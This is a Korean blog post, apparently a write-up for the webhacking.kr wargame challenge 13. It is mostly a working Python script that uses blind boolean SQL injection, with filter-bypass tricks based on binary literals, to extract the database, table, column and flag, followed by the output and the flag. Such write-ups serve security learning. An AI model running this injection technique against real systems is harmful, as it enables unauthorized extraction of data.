728x90
반응형

이번엔 1000점인 13번 문제를 풀어보자.

질의 보내기 부분에 값을 입력해 반응을 살펴본다.

1을 넣었을 때는 result에 1이 출력되고, 그 외 나머지는 0이 출력된다. 또 injection에 사용되는 특수문자 등은 필터링 된다.

문제를 해결하기 위해, DB 명 / 테이블 명 / 컬럼 명 / Flag 값 까지 구할 수 있는 파이썬 코드는 다음과 같다.

import requests
import string
import re
 
 
requests.packages.urllib3.disable_warnings()
URL = "https://webhacking.kr/challenge/web-10/?no="
 
 
def str2bin(string):
    return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)
 
def ord2bin(number):
    return '0b'+format(number, 'b').zfill(8)
 
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 
dbLen = 0
 
for i in range(100):
    payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
    res = requests.get(url=URL+payload, verify=False)
 
    if "<td>1</td>" in res.text:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass
 
bitLen = 8
Database = ""
 
for dblen in range(1, dbLen+1):
 
    tmpBit = ""
 
    for blen in range(1, bitLen+1):
        payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
        res = requests.get(url=URL+payload, verify=False)
 
        if "<td>1</td>" in res.text:
            tmpBit += "1"
        else:
            tmpBit += "0"
 
    Database += chr(int(tmpBit,2))
 
print("[+] Database Name : %s" % Database)
 
#TableLen = [0 for x in range(1,TableCnt+1)]
#Min
 
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableLen = 0
 
for i in range(200):
    payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
    res = requests.get(url=URL+payload, verify=False)
 
    if "<td>1</td>" in res.text:
        print("[+] Found Table Min Length : %d" % i)
        TableLen = i
        break
    else:
        pass
 
TableName = ""
 
for tlen in range(1, TableLen+1):
    for binStr in range(20, 128):
        payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
        res = requests.get(url=URL+payload, verify=False)
 
        if "<td>1</td>" in res.text:
            TableName += chr(binStr)
            break
        else:
            pass
 
    print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))
 
print("[+] Found Table Name : %s" % TableName)
 
 
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt = 0
 
for i in range(1000):
    payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
    payload = payload % {"TableName" : str2bin(TableName), "i" : i}
    res = requests.get(url=URL+payload, verify=False)
 
    if "<td>1</td>" in res.text:
        print("[+] Found Table Count : %d" % i)
        TableCnt = i
        break
    else:
        pass
 
 
ColumnLen = 0
 
for i in range(200):
    payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
    res = requests.get(url=URL+payload, verify=False)
 
    if "<td>1</td>" in res.text:
        print("[+] Found ColumnLen Min : %d" % i)
        ColumnLen = i
        break
    else:
        pass
 
 
 
ColumnName = ""
 
for clen in range(1, ColumnLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
        res = requests.get(url=URL+payload, verify=False)
 
        if "<td>1</td>" in res.text:
            ColumnName += chr(binStr)
            break
        else:
            pass
 
    print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))
 
print("[+] Found Column Name : %s" % ColumnName)
 
 
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableName = "flag_ab733768" # Table Name should be Lower Case
ColumnName = "FLAG_3A55B31D"
ValueLen = ""
 
for i in range(1000):
    payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
    payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
    res = requests.get(url=URL+payload, verify=False)
 
    if "<td>1</td>" in res.text:
        print("[+] Found Value Length : %d" % i)
        ValueLen = i
        break
    else:
        pass
 
Flag = ""
 
for vlen in range(1,ValueLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
        payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
        res = requests.get(url=URL+payload, verify=False)
 
        if "<td>1</td>" in res.text:
            print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
            Flag += chr(binStr)
            break
        else:
            pass
 
 
print("[+] Found Flag : %s" % Flag)

프로그램의 결과 값은 다음과 같이 출력된다.

[+] Found Database Length : 7
[+] Database Name : chall13
[+] Found Table Min Length : 13
[+] Found Table Word[0] : F
[+] Found Table Word[1] : FL
[+] Found Table Word[2] : FLA
[+] Found Table Word[3] : FLAG
[+] Found Table Word[4] : FLAG_
[+] Found Table Word[5] : FLAG_A
[+] Found Table Word[6] : FLAG_AB
[+] Found Table Word[7] : FLAG_AB7
[+] Found Table Word[8] : FLAG_AB73
[+] Found Table Word[9] : FLAG_AB733
[+] Found Table Word[10] : FLAG_AB7337
[+] Found Table Word[11] : FLAG_AB73376
[+] Found Table Word[12] : FLAG_AB733768
[+] Found Table Name : FLAG_AB733768
[+] Found Table Count : 1
[+] Found ColumnLen Min : 13
[+] Found Column Word[0] : F
[+] Found Column Word[1] : FL
[+] Found Column Word[2] : FLA
[+] Found Column Word[3] : FLAG
[+] Found Column Word[4] : FLAG_
[+] Found Column Word[5] : FLAG_3
[+] Found Column Word[6] : FLAG_3A
[+] Found Column Word[7] : FLAG_3A5
[+] Found Column Word[8] : FLAG_3A55
[+] Found Column Word[9] : FLAG_3A55B
[+] Found Column Word[10] : FLAG_3A55B3
[+] Found Column Word[11] : FLAG_3A55B31
[+] Found Column Word[12] : FLAG_3A55B31D
[+] Found Column Name : FLAG_3A55B31D
[+] Found Value Length : 27
[+] Found Flag Word[1] : F
[+] Found Flag Word[2] : L
[+] Found Flag Word[3] : A
[+] Found Flag Word[4] : G
[+] Found Flag Word[5] : {
[+] Found Flag Word[6] : C
[+] Found Flag Word[7] : H
[+] Found Flag Word[8] : A
[+] Found Flag Word[9] : L
[+] Found Flag Word[10] : L
[+] Found Flag Word[11] : E
[+] Found Flag Word[12] : N
[+] Found Flag Word[13] : G
[+] Found Flag Word[14] : E
[+] Found Flag Word[15] : 1
[+] Found Flag Word[16] : 3
[+] Found Flag Word[17] : G
[+] Found Flag Word[18] : U
[+] Found Flag Word[19] : M
[+] Found Flag Word[20] : M
[+] Found Flag Word[21] : Y
[+] Found Flag Word[22] : C
[+] Found Flag Word[23] : L
[+] Found Flag Word[24] : E
[+] Found Flag Word[25] : A
[+] Found Flag Word[26] : R
[+] Found Flag Word[27] : }
[+] Found Flag : FLAG{CHALLENGE13GUMMYCLEAR}

이제 얻어진 Flag값을 제출해보자.

대문자로 제출하면 안되고 소문자로 제출해야 문제가 풀린다.

 

728x90
반응형

'CTF & WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 15번 문제  (0) 2020.03.05
[webhacking.kr] 14번 문제  (0) 2020.03.05
[webhacking.kr] 12번 문제  (0) 2020.03.03
[webhacking.kr] 11번 문제  (0) 2020.03.02
[webhacking.kr] 10번 문제  (0) 2020.03.02

+ Recent posts